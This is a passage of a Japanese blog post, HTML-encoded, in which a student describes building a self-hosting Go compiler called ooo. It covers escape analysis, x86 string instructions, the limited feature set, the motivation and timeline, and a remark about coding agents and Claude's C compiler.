<p>C &#x306E;&#x65B9;&#x306F;&#x30ED;&#x30FC;&#x30AB;&#x30EB;&#x5909;&#x6570;&#x306E;&#x30DD;&#x30A4;&#x30F3;&#x30BF;&#x3092;&#x30B9;&#x30B3;&#x30FC;&#x30D7;&#x5916;&#x3067;&#x53C2;&#x7167;&#x3057;&#x3066;&#x3044;&#x308B;&#x305F;&#x3081;&#x672A;&#x5B9A;&#x7FA9;&#x52D5;&#x4F5C;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x624B;&#x5143;&#x306E; gcc &#x3067;&#x306F; segmentation fault &#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x3053;&#x308C;&#x306F;&#x30ED;&#x30FC;&#x30AB;&#x30EB;&#x5909;&#x6570;&#x306E;&#x30DD;&#x30A4;&#x30F3;&#x30BF;&#x304C;&#x30B9;&#x30B3;&#x30FC;&#x30D7;&#x306E;&#x5916;&#x306B;&#x51FA;&#x308B;&#x3001;&#x4ECA;&#x56DE;&#x3067;&#x3042;&#x308C;&#x3070;&#x8FD4;&#x308A;&#x5024;&#x3068;&#x3057;&#x3066;&#x30ED;&#x30FC;&#x30AB;&#x30EB;&#x5909;&#x6570;&#x306E;&#x30DD;&#x30A4;&#x30F3;&#x30BF;&#x3092;&#x6307;&#x5B9A;&#x3057;&#x3066;&#x3044;&#x308B;&#x305F;&#x3081;&#x3067;&#x3059;&#x3002;<br>
&#x4E00;&#x65B9;&#x3001;Go &#x306E;&#x65B9;&#x306F;&#x3001;<code>main</code> &#x95A2;&#x6570;&#x3067;&#x306E; <code>fmt.Printf</code> &#x3067;&#x306F;&#x3001;&#x610F;&#x56F3;&#x3057;&#x305F;&#x901A;&#x308A;&#x306E; 1 &#x304C;&#x51FA;&#x529B;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x306F; Go &#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x304C;&#x30A8;&#x30B9;&#x30B1;&#x30FC;&#x30D7;&#x89E3;&#x6790;&#x3068;&#x547C;&#x3070;&#x308C;&#x308B;&#x51E6;&#x7406;&#x3092;&#x884C;&#x3063;&#x3066;&#x3044;&#x308B;&#x305F;&#x3081;&#x3067;&#x3059;&#x3002;&#x30A8;&#x30B9;&#x30B1;&#x30FC;&#x30D7;&#x89E3;&#x6790;&#x3067;&#x306F;&#x3001;&#x30B9;&#x30B3;&#x30FC;&#x30D7;&#x306E;&#x5916;&#x306B;&#x6E21;&#x3055;&#x308C;&#x308B;&#x30ED;&#x30FC;&#x30AB;&#x30EB;&#x5909;&#x6570;&#x306E;&#x30DD;&#x30A4;&#x30F3;&#x30BF;&#x3092;&#x63A2;&#x3057;&#x3001;&#x5FC5;&#x8981;&#x3067;&#x3042;&#x308C;&#x3070;&#x305D;&#x308C;&#x3092;&#x30B9;&#x30BF;&#x30C3;&#x30AF;&#x3067;&#x306F;&#x306A;&#x304F;&#x30D2;&#x30FC;&#x30D7;&#x306B;&#x7F6E;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p>ooo &#x306E;&#x5B9F;&#x88C5;&#x3067;&#x306F;&#x30A8;&#x30B9;&#x30B1;&#x30FC;&#x30D7;&#x89E3;&#x6790;&#x3092;&#x81EA;&#x5206;&#x3067;&#x66F8;&#x304F;&#x5FC5;&#x8981;&#x304C;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x5177;&#x4F53;&#x7684;&#x306B;&#x306F;&#x3001;&#x30ED;&#x30FC;&#x30AB;&#x30EB;&#x5909;&#x6570;&#x306E;&#x3046;&#x3061;&#x3001;&#x305D;&#x306E;&#x30DD;&#x30A4;&#x30F3;&#x30BF;&#x304C;&#x8FD4;&#x308A;&#x5024;&#x306B;&#x306A;&#x3063;&#x305F;&#x308A;&#x30B0;&#x30ED;&#x30FC;&#x30D0;&#x30EB;&#x5909;&#x6570;&#x306B;&#x4EE3;&#x5165;&#x3055;&#x308C;&#x305F;&#x308A;&#x3057;&#x3066;&#x3044;&#x308B;&#x3082;&#x306E;&#x3092;&#x63A2;&#x3057;&#x3066;&#x3001;&#x305D;&#x308C;&#x3089;&#x306E;&#x5B9F;&#x4F53;&#x3092;&#x30D2;&#x30FC;&#x30D7;&#x306B;&#x7F6E;&#x304F;&#x3088;&#x3046;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h3 id="%E3%82%B9%E3%83%88%E3%83%AA%E3%83%B3%E3%82%B0%E5%91%BD%E4%BB%A4">&#x30B9;&#x30C8;&#x30EA;&#x30F3;&#x30B0;&#x547D;&#x4EE4;</h3>
<p>&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x66F8;&#x3044;&#x3066;&#x3044;&#x308B;&#x3068;&#x3001;&#x30E1;&#x30E2;&#x30EA;&#x4E0A;&#x306E;&#x3042;&#x308B;&#x9023;&#x7D9A;&#x3057;&#x305F;&#x9818;&#x57DF;&#x306E;&#x5024;&#x3092;&#x3001;&#x4ED6;&#x306E;&#x5834;&#x6240;&#x306B;&#x30B3;&#x30D4;&#x30FC;&#x3057;&#x305F;&#x308A;&#x3001;&#x4ED6;&#x306E;&#x5834;&#x6240;&#x3068;&#x6BD4;&#x8F03;&#x3057;&#x305F;&#x308A;&#x3059;&#x308B;&#x5FC5;&#x8981;&#x304C;&#x51FA;&#x3066;&#x304D;&#x307E;&#x3059;&#x3002;&#x4F8B;&#x3048;&#x3070;&#x6587;&#x5B57;&#x5217;&#x306E;&#x6BD4;&#x8F03;&#x3084;&#x7D50;&#x5408;&#x3001;slice &#x306E; <code>append</code> &#x95A2;&#x6570;&#x306A;&#x3069;&#x3067;&#x3059;&#x3002;&#x306F;&#x3058;&#x3081;&#x306F;&#x3053;&#x308C;&#x3092;&#x30EB;&#x30FC;&#x30D7;&#x3092;&#x66F8;&#x3044;&#x3066; 1 &#x30D0;&#x30A4;&#x30C8;&#x3001;&#x3082;&#x3057;&#x304F;&#x306F; 8 &#x30D0;&#x30A4;&#x30C8;&#x305A;&#x3064;&#x51E6;&#x7406;&#x3057;&#x3066;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x3053;&#x306E;&#x51E6;&#x7406;&#x3092;&#x66F8;&#x304F;&#x306E;&#x306F;&#x7279;&#x306B;&#x30EB;&#x30FC;&#x30D7;&#x56DE;&#x6570;&#x304C;&#x5B9F;&#x884C;&#x6642;&#x306B;&#x306A;&#x3089;&#x306A;&#x3044;&#x3068;&#x5206;&#x304B;&#x3089;&#x306A;&#x3044;&#x5834;&#x5408;&#x306B;&#x5927;&#x5909;&#x306A;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x5B9F;&#x88C5;&#x7D42;&#x76E4;&#x306B;&#x30B9;&#x30C8;&#x30EA;&#x30F3;&#x30B0;&#x547D;&#x4EE4;&#x306B;&#x51FA;&#x4F1A;&#x3063;&#x305F;&#x3053;&#x3068;&#x3067;&#x52B9;&#x7387;&#x304C;&#x5927;&#x304D;&#x304F;&#x4E0A;&#x304C;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x30B9;&#x30C8;&#x30EA;&#x30F3;&#x30B0;&#x547D;&#x4EE4;&#x306F;&#x3001;&#x9023;&#x7D9A;&#x3057;&#x305F;&#x30E1;&#x30E2;&#x30EA;&#x4E0A;&#x306E;&#x9818;&#x57DF;&#x306B;&#x95A2;&#x3059;&#x308B;&#x51E6;&#x7406;&#x3092;&#x5C11;&#x306A;&#x3044;&#x547D;&#x4EE4;&#x6570;&#x3067;&#x8A18;&#x8FF0;&#x3067;&#x304D;&#x308B;&#x3082;&#x306E;&#x3067;&#x3059;&#x3002;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306B;&#x4F7F;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-x86asm">  <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rsi</span> # &#x30B3;&#x30D4;&#x30FC;&#x5143;&#x306E;&#x30A2;&#x30C9;&#x30EC;&#x30B9;
  <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rdi</span> # &#x30B3;&#x30D4;&#x30FC;&#x5148;&#x306E;&#x30A2;&#x30C9;&#x30EC;&#x30B9;
  <span class="hljs-keyword">pop</span> <span class="hljs-built_in">rcx</span> # &#x4F55;&#x56DE;&#x30B3;&#x30D4;&#x30FC;&#x3059;&#x308B;&#x304B;
  <span class="hljs-keyword">rep</span> <span class="hljs-keyword">movsb</span> # <span class="hljs-built_in">ecx</span> &#x30EC;&#x30B8;&#x30B9;&#x30BF;&#x306E;&#x5024;&#x304C; <span class="hljs-number">0</span> &#x306B;&#x306A;&#x308B;&#x307E;&#x3067; <span class="hljs-number">1</span> &#x30D0;&#x30A4;&#x30C8;&#x305A;&#x3064;&#x30B3;&#x30D4;&#x30FC;&#x3057;&#x3066; <span class="hljs-built_in">ecx</span>-- &#x3092;&#x3059;&#x308B;
</code></pre>
<p>&#x30B3;&#x30E1;&#x30F3;&#x30C8;&#x90E8;&#x5206;&#x306F;&#x3068;&#x3066;&#x3082;&#x3056;&#x3063;&#x304F;&#x308A;&#x3057;&#x3066;&#x3044;&#x308B;&#x306E;&#x3067;&#x3001;&#x3061;&#x3083;&#x3093;&#x3068;&#x4F7F;&#x3046;&#x5834;&#x5408;&#x306F;&#x4ED6;&#x306E;&#x8CC7;&#x6599;&#x3092;&#x5F53;&#x305F;&#x3063;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#x3002;&#x3053;&#x306E;&#x547D;&#x4EE4;&#x306E;&#x7D20;&#x6674;&#x3089;&#x3057;&#x3044;&#x90E8;&#x5206;&#x306F;&#x3001;&#x6271;&#x3046;&#x9818;&#x57DF;&#x306E;&#x5927;&#x304D;&#x3055;&#x3092;&#x30EC;&#x30B8;&#x30B9;&#x30BF;&#x306B;&#x6307;&#x5B9A;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x52D5;&#x7684;&#x306B;&#x5909;&#x3048;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x308B;&#x70B9;&#x3067;&#x3059;&#x3002;&#x3053;&#x306E;&#x4F8B;&#x306F; 1 &#x30D0;&#x30A4;&#x30C8;&#x3054;&#x3068;&#x306E;&#x30B3;&#x30D4;&#x30FC;&#x3067;&#x3057;&#x305F;&#x304C;&#x3001;8 &#x30D0;&#x30A4;&#x30C8;&#x3054;&#x3068;&#x306B;&#x3057;&#x305F;&#x308A;&#x3001;&#x5024;&#x306E;&#x6BD4;&#x8F03;&#x306B;&#x3057;&#x305F;&#x308A;&#x3082;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;<br>
&#x3053;&#x306E;&#x30B9;&#x30C8;&#x30EA;&#x30F3;&#x30B0;&#x547D;&#x4EE4;&#x306E;&#x5A01;&#x529B;&#x306F;&#x3059;&#x3055;&#x307E;&#x3058;&#x304F;&#x3001;&#x539F;&#x56E0;&#x304C;&#x3088;&#x304F;&#x308F;&#x304B;&#x3089;&#x306A;&#x3044;&#x30D0;&#x30B0;&#x304C;&#x3001;&#x30B3;&#x30D4;&#x30FC;&#x306E;&#x51E6;&#x7406;&#x3092;&#x30B9;&#x30C8;&#x30EA;&#x30F3;&#x30B0;&#x547D;&#x4EE4;&#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x305F;&#x3060;&#x3051;&#x3067;&#x76F4;&#x3063;&#x305F;&#x3001;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x304C;2&#x3001;3&#x56DE;&#x3042;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;&#x3042;&#x308A;&#x304C;&#x3068;&#x3046;&#x3001;&#x30B9;&#x30C8;&#x30EA;&#x30F3;&#x30B0;&#x547D;&#x4EE4;&#x3002;</p>
<h3 id="%E5%AE%9F%E8%A3%85%E3%81%97%E3%81%9F%E3%82%82%E3%81%AE%E3%83%BB%E3%81%97%E3%81%AA%E3%81%8B%E3%81%A3%E3%81%9F%E3%82%82%E3%81%AE">&#x5B9F;&#x88C5;&#x3057;&#x305F;&#x3082;&#x306E;&#x30FB;&#x3057;&#x306A;&#x304B;&#x3063;&#x305F;&#x3082;&#x306E;</h3>
<p>&#x3067;&#x304D;&#x308B;&#x3060;&#x3051;&#x5C11;&#x306A;&#x3044;&#x624B;&#x6570;&#x3067;&#x5B9F;&#x88C5;&#x3057;&#x305F;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;ooo &#x306B;&#x6301;&#x305F;&#x305B;&#x308B;&#x6A5F;&#x80FD;&#x306F;&#x975E;&#x5E38;&#x306B;&#x5C11;&#x306A;&#x304F;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;&#x4F8B;&#x3048;&#x3070; ooo &#x304C;&#x30B5;&#x30DD;&#x30FC;&#x30C8;&#x3057;&#x3066;&#x3044;&#x308B;&#x578B;&#x306F;&#x3001;&#x30D7;&#x30EA;&#x30DF;&#x30C6;&#x30A3;&#x30D6;&#x578B;&#x306F; int, string, bool &#x306E; 3 &#x3064;&#x306E;&#x307F;&#x3001;&#x8907;&#x5408;&#x578B;&#x3082; struct, array, slice &#x306E; 3 &#x3064;&#x306E;&#x307F;&#x3067;&#x3059;&#x3002;</p>
<p>&#x6A5F;&#x80FD;&#x3092;&#x7D5E;&#x3063;&#x3066;&#x5B9F;&#x88C5;&#x91CF;&#x3092;&#x5C11;&#x306A;&#x304F;&#x3059;&#x308B;&#x65B9;&#x6CD5;&#x306F;&#x3046;&#x307E;&#x304F;&#x884C;&#x3063;&#x305F;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x3057;&#x304B;&#x3057;&#x3001;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3059;&#x308B;&#x305F;&#x3081;&#x306B;&#x306F; ooo &#x81EA;&#x8EAB;&#x3082;&#x5BFE;&#x5FDC;&#x3059;&#x308B;&#x6A5F;&#x80FD;&#x306E;&#x307F;&#x3067;&#x8A18;&#x8FF0;&#x3059;&#x308B;&#x5FC5;&#x8981;&#x304C;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x8A18;&#x8FF0;&#x306E;&#x697D;&#x3055;&#x3068;&#x5B9F;&#x88C5;&#x306E;&#x91CF;&#x306E;&#x30C8;&#x30EC;&#x30FC;&#x30C9;&#x30AA;&#x30D5;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x4F8B;&#x3048;&#x3070; ooo &#x306F; byte &#x578B;&#x306B;&#x5BFE;&#x5FDC;&#x3057;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3002;byte &#x578B;&#x306F;&#x305D;&#x306E;&#x540D;&#x306E;&#x901A;&#x308A; 1 &#x30D0;&#x30A4;&#x30C8;&#x3067;&#x3042;&#x308B;&#x306E;&#x306B;&#x5BFE;&#x3057;&#x3001;&#x4ED6;&#x306E;&#x578B;&#x306F;&#x5168;&#x3066; 8 &#x306E;&#x500D;&#x6570;&#x30D0;&#x30A4;&#x30C8;&#x3067;&#x3042;&#x308A;&#x3001;&#x500B;&#x3005;&#x306E;&#x51E6;&#x7406;&#x3092;&#x5206;&#x3051;&#x308B;&#x306E;&#x304C;&#x5927;&#x5909;&#x3060;&#x3068;&#x601D;&#x3063;&#x305F;&#x304B;&#x3089;&#x3067;&#x3059;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;&#x6587;&#x5B57;&#x5217;&#x304B;&#x3089; 1 &#x6587;&#x5B57;&#x3092;&#x53D6;&#x5F97;&#x3059;&#x308B;&#x969B;&#x306F; <code>str[0]</code> &#x3067;&#x306F;&#x306A;&#x304F; <code>str[0:1]</code> &#x306E;&#x3088;&#x3046;&#x306B;&#x9577;&#x3055; 1 &#x306E; string &#x3068;&#x3057;&#x3066;&#x66F8;&#x304F;&#x5FC5;&#x8981;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x7A0B;&#x5EA6;&#x306E;&#x624B;&#x9593;&#x306F;&#x8A31;&#x5BB9;&#x3067;&#x304D;&#x308B;&#x3082;&#x306E;&#x3067;&#x3059;&#x3002;&#x4E00;&#x65B9;&#x3001;&#x521D;&#x3081;&#x306F; <code>&amp;&amp;</code> &#x3068; <code>||</code> &#x3082;&#x5B9F;&#x88C5;&#x3057;&#x306A;&#x3044;&#x4E88;&#x5B9A;&#x3067;&#x3057;&#x305F;&#x304C;&#x3001;&#x8A18;&#x8FF0;&#x304C;&#x3042;&#x307E;&#x308A;&#x306B;&#x9762;&#x5012;&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x306B;&#x6C17;&#x3065;&#x3044;&#x3066;&#x5B9F;&#x88C5;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="%E5%88%B6%E4%BD%9C%E9%81%8E%E7%A8%8B%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">&#x5236;&#x4F5C;&#x904E;&#x7A0B;&#x306B;&#x3064;&#x3044;&#x3066;</h2>
<h3 id="%E4%BD%9C%E3%82%8D%E3%81%86%E3%81%A8%E6%80%9D%E3%81%A3%E3%81%9F%E7%90%86%E7%94%B1">&#x4F5C;&#x308D;&#x3046;&#x3068;&#x601D;&#x3063;&#x305F;&#x7406;&#x7531;</h3>
<p>&#x672C;&#x80FD;&#x3067;&#x3059;&#x3002;</p>
<p>&#x3068;&#x66F8;&#x304F;&#x306E;&#x304C; traP &#x306E;&#x4F1D;&#x7D71;&#x306E;&#x3088;&#x3046;&#x3067;&#x3059;&#x3002;</p>
<ul>
<li><a href="https://trap.jp/post/1638/">https://trap.jp/post/1638/</a></li>
<li><a href="https://trap.jp/post/1653/">https://trap.jp/post/1653/</a></li>
<li><a href="https://trap.jp/post/2313/">https://trap.jp/post/2313/</a></li>
</ul>
<p>ooo &#x3092;&#x4F5C;&#x308D;&#x3046;&#x3068;&#x601D;&#x3063;&#x305F;&#x7406;&#x7531;&#x306F; 2 &#x3064;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p>1 &#x3064;&#x76EE;&#x306F;&#x3001;&#x3044;&#x304D;&#x306A;&#x308A;&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x6301;&#x3063;&#x3066;&#x304D;&#x305F;&#x4EBA;&#x304C;&#x3044;&#x305F;&#x3089;&#x9762;&#x767D;&#x3044;&#x3068;&#x601D;&#x3063;&#x305F;&#x304B;&#x3089;&#x3067;&#x3059;&#x3002;&#x60F3;&#x50CF;&#x3057;&#x3066;&#x307B;&#x3057;&#x3044;&#x3093;&#x3067;&#x3059;&#x304C;&#x3001;&#x5927;&#x5B66;&#x306E;&#x663C;&#x4F11;&#x307F;&#x306B;&#x53CB;&#x9054;&#x306B;&#x300C;Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x4F5C;&#x3063;&#x305F;&#x3093;&#x3060;&#x3088;&#x306D;&#x300D;&#x3063;&#x3066;&#x8A00;&#x308F;&#x308C;&#x3066;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3057;&#x3066;&#x308B;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x898B;&#x305B;&#x3089;&#x308C;&#x305F;&#x3089;&#x9762;&#x767D;&#x304F;&#x306A;&#x3044;&#x3067;&#x3059;&#x304B;&#xFF1F;</p>
<p>2 &#x3064;&#x76EE;&#x306F;&#x3001;&#x5927;&#x5B66;&#x306E;&#x6388;&#x696D;&#x3067; C &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x4F5C;&#x3063;&#x305F;&#x306E;&#x304C;&#x697D;&#x3057;&#x304B;&#x3063;&#x305F;&#x304B;&#x3089;&#x3067;&#x3059;&#x3002;&#x79D1;&#x5B66;&#x5927;&#xFF08;&#x5F53;&#x6642;&#x306F;&#x6771;&#x5DE5;&#x5927;&#x3067;&#x3057;&#x305F;&#x304C;&#x3001;&#xFF09;&#x306E;&#x60C5;&#x5831;&#x5DE5;&#x5B66;&#x7CFB;&#x306B;&#x306F;&#x300C;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x69CB;&#x6210;&#x300D;&#x3068;&#x3044;&#x3046;&#x6388;&#x696D;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x6388;&#x696D;&#x306F;&#x3001;C &#x306E;&#x30B5;&#x30D6;&#x30BB;&#x30C3;&#x30C8;&#x3092;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x3059;&#x308B;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092; C &#x3067;&#x66F8;&#x304F;&#x306E;&#x304C;&#x76EE;&#x6A19;&#x3067;&#x3059;&#x3002;&#x3053;&#x306E;&#x6388;&#x696D;&#x3092;&#x7CFB;&#x5916;&#x304B;&#x3089;&#x5C65;&#x4FEE;&#x3057;&#x305F;&#x306E;&#x3067;&#x3059;&#x304C;&#x3001;&#x81EA;&#x5206;&#x304C;&#x4F5C;&#x3063;&#x305F;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3092;&#x52D5;&#x304B;&#x305B;&#x308B;&#x306E;&#x304C;&#x3068;&#x3066;&#x3082;&#x697D;&#x3057;&#x304F;&#x3001;&#x81EA;&#x5206;&#x3067;&#x3082;&#x3084;&#x308A;&#x305F;&#x3044;&#x3068;&#x601D;&#x3044;&#x3001;&#x81EA;&#x4F5C;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306B;&#x53D6;&#x308A;&#x7D44;&#x3080;&#x3053;&#x3068;&#x306B;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h3 id="%E5%88%B6%E4%BD%9C%E6%9C%9F%E9%96%93">&#x5236;&#x4F5C;&#x671F;&#x9593;</h3>
<p>&#x5B9F;&#x88C5;&#x3092;&#x59CB;&#x3081;&#x305F;&#x306E;&#x306F; 2025 &#x5E74; 1 &#x6708; 2 &#x65E5;&#x3067;&#x3059;&#x3002;&#x6700;&#x7D42;&#x7684;&#x306B;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;&#x3092;&#x9054;&#x6210;&#x3057;&#x305F;&#x306E;&#x306F; 2026 &#x5E74; 4 &#x6708; 29 &#x65E5;&#x306A;&#x306E;&#x3067;&#x3001;1 &#x5E74;&#x3068; 4 &#x304B;&#x6708;&#x307B;&#x3069;&#x304B;&#x304B;&#x3063;&#x305F;&#x3053;&#x3068;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x306E;&#x671F;&#x9593; ooo &#x3060;&#x3051;&#x3092;&#x3084;&#x3063;&#x3066;&#x3044;&#x305F;&#x308F;&#x3051;&#x3067;&#x306F;&#x306A;&#x304F;&#x3001;&#x6642;&#x9593;&#x304C;&#x3042;&#x308B;&#x3068;&#x304D;&#x306B;&#x3061;&#x3087;&#x3053;&#x3061;&#x3087;&#x3053;&#x9032;&#x3081;&#x3066;&#x3044;&#x308B;&#x611F;&#x3058;&#x3067;&#x3057;&#x305F;&#x3002;</p>
<p><img src="https://trap.jp/content/images/2026/04/----------2026-04-29-234145.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;" loading="lazy"></p>
<p>&#x4F5C;&#x308D;&#x3046;&#x3068;&#x601D;&#x3063;&#x305F;&#x7406;&#x7531; 1 &#x3064;&#x76EE;&#x306B;&#x3042;&#x308B;&#x901A;&#x308A;&#x3044;&#x304D;&#x306A;&#x308A;&#x5B8C;&#x6210;&#x7269;&#x3092;&#x51FA;&#x3057;&#x305F;&#x304B;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x3055;&#x3082;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x306B;&#x306F;&#x8208;&#x5473;&#x3042;&#x308A;&#x307E;&#x305B;&#x3093;&#x3088;&#x307F;&#x305F;&#x3044;&#x306A;&#x611F;&#x3058;&#x3067;&#x632F;&#x821E;&#x3063;&#x3066;&#x304A;&#x308A;&#x3001;&#x4EBA;&#x306B;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x4F5C;&#x3063;&#x3066;&#x3044;&#x308B;&#x3053;&#x3068;&#x306F;&#x8A00;&#x3063;&#x3066;&#x3044;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;&#x3057;&#x304B;&#x3057;&#x3001;&#x60F3;&#x50CF;&#x4EE5;&#x4E0A;&#x306B;&#x6642;&#x9593;&#x304C;&#x304B;&#x304B;&#x3063;&#x3066;&#x3057;&#x307E;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x81EA;&#x5206;&#x304C;&#x8A2D;&#x3051;&#x305F;&#x5236;&#x7D04;&#x306E;&#x305B;&#x3044;&#x3067;&#x82E6;&#x3057;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;</p>
<h3 id="llm-%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6">LLM &#x306B;&#x3064;&#x3044;&#x3066;</h3>
<p>&#x81EA;&#x5206;&#x304C; ooo &#x306E;&#x5B9F;&#x88C5;&#x3092;&#x3057;&#x3066;&#x3044;&#x308B;&#x9593;&#x306B;LLM &#x304C;&#x3068;&#x3093;&#x3067;&#x3082;&#x306A;&#x3044;&#x901F;&#x5EA6;&#x3067;&#x9032;&#x5316;&#x3057;&#x3001;&#x30B3;&#x30FC;&#x30C7;&#x30A3;&#x30F3;&#x30B0;&#x30A8;&#x30FC;&#x30B8;&#x30A7;&#x30F3;&#x30C8;&#x306A;&#x308B;&#x3082;&#x306E;&#x304C;&#x767B;&#x5834;&#x3057;&#x3066;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;<br>
ooo &#x306E;&#x5B9F;&#x88C5;&#x306B;&#x304A;&#x3044;&#x3066;&#x306F;&#x30B3;&#x30FC;&#x30C7;&#x30A3;&#x30F3;&#x30B0;&#x30A8;&#x30FC;&#x30B8;&#x30A7;&#x30F3;&#x30C8;&#x306F;&#x5168;&#x304F;&#x4F7F;&#x3044;&#x307E;&#x305B;&#x3093;&#x3067;&#x3057;&#x305F;&#x3002;&#x7406;&#x7531;&#x306F;&#x81EA;&#x5206;&#x306E;&#x529B;&#x8A66;&#x3057;&#x3068;&#x3057;&#x3066;&#x3069;&#x3053;&#x307E;&#x3067;&#x3044;&#x3051;&#x308B;&#x304B;&#x8A66;&#x3057;&#x305F;&#x304B;&#x3063;&#x305F;&#x304B;&#x3089;&#x3067;&#x3059;&#x3002;&#x7D50;&#x679C;&#x7684;&#x306B;&#x6700;&#x5F8C;&#x307E;&#x3067;&#x5B9F;&#x88C5;&#x3067;&#x304D;&#x305F;&#x306E;&#x3067;&#x826F;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;</p>
<p>&#x4ECA;&#x5E74;(2026 &#x5E74;)&#x306E; 2 &#x6708;&#x306B;&#x3001;Claude &#x304C; C &#x306E;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092; 14 &#x65E5;&#x9593;&#x3067;&#x5B9F;&#x88C5;&#x3057;&#x305F;&#x3053;&#x3068;&#x304C;&#x8A71;&#x984C;&#x306B;&#x306A;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<p><a href="https://www.anthropic.com/engineering/building-c-compiler?ref=trap.jp">https://www.anthropic.com/engineering/building-c-compiler</a></p>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.anthropic.com/engineering/building-c-compiler?ref=trap.jp"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Building a C compiler with a team of parallel Claudes</div><div class="kg-bookmark-description">Anthropic is an AI safety and research company that&#x2019;s working to build reliable, interpretable, and steerable AI systems.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.anthropic.com/images/icons/apple-touch-icon.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"></div></div><div class="kg-bookmark-thumbnail"><img src="https://cdn.sanity.io/images/4zrzovbb/website/6cc87859f5453e9481278681aa6409856d61153c-2400x1260.png" alt="&#x81EA;&#x4F5C; Go &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3067;&#x30BB;&#x30EB;&#x30D5;&#x30DB;&#x30B9;&#x30C8;"></div></a></figure><!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x6642;&#x671F;&#x306F;&#x3001;ooo &#x304C;&#x5B8C;&#x6210;&#x3057;&#x305F;&#x3089;&#x300C;AI &#x304C; 14 &#x65E5;&#x9593;&#x3067; C &#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3092;&#x4F5C;&#x3063;&#x305F;&#x4E00;&#x65B9;&#x3001;&#x50D5;&#x306F; 14 &#x304B;&#x6708;&#x3067; Go 